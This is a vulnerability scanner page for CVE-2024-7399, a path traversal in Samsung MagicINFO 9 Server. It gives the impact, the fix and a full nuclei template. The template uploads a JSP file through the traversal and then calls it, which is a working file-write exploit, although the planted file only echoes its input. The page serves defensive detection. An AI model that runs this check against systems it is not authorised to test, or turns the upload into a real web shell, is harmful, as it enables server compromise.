Samsung MagicINFO 9 Server 21.1050.0 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2026-04-24; known to be used by ransomware.

highseverity

8.8CVSS score

91.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.

Impact

Authenticated attackers can exploit path traversal to write arbitrary JSP files with system privileges, achieving remote code execution and complete server compromise.

Fix

Update Samsung MagicINFO 9 Server to version 21.1050 or later to address the path traversal and arbitrary file write vulnerability.

How to confirm it

Send: POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.jsp&deviceType=abc&deviceModelName=test&swVer=123
Positive when: status 200
Send: GET /MagicInfo/{{filename}}.jsp?input={{urlencode(base64(input))}}
Positive when: contains "{{input}}" AND status 200

Run it with nuclei: nuclei -id CVE-2024-7399 -u <target>

The full check

id: CVE-2024-7399

info:
  name: Samsung MagicINFO 9 Server 21.1050.0 - Remote Code Execution
  author: iamnoooob,pdresearch
  severity: high
  description: |
    Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.
  impact: |
    Authenticated attackers can exploit path traversal to write arbitrary JSP files with system privileges, achieving remote code execution and complete server compromise.
  remediation: |
    Update Samsung MagicINFO 9 Server to version 21.1050 or later to address the path traversal and arbitrary file write vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7399
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-7399
    cwe-id: CWE-22
    epss-score: 0.91941
    epss-percentile: 0.99819
    cpe: cpe:2.3:a:samsung:magicinfo_9_server:*:*:*:*:*:*:*:*
  metadata:
    vendor: samsung
    product: magicinfo_9_server
    verified: true
    max-request: 1
    shodan-query: 'Server: MagicInfo Premium Server'
  tags: cve,cve2024,rce,magicinfo,samsung,file-upload,intrusive,vkev,vuln,kev

flow: http(1) && http(2)

variables:
  filename: "{{randbase(6)}}"
  input: "{{randstr}}"

http:
  - raw:
      - |
        POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.jsp&deviceType=abc&deviceModelName=test&swVer=123 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        <%@ page import="java.util.Base64" %>
        <%
        String base64Input = request.getParameter("input");
        if (base64Input != null) {
            byte[] decodedBytes = Base64.getDecoder().decode(base64Input);
            out.print(new String(decodedBytes));
        }
        %>

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /MagicInfo/{{filename}}.jsp?input={{urlencode(base64(input))}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{input}}'

      - type: status
        status:
          - 200

References

https://nvd.nist.gov/vuln/detail/CVE-2024-7399

Use this check only on systems you are authorised to test. Where the data comes from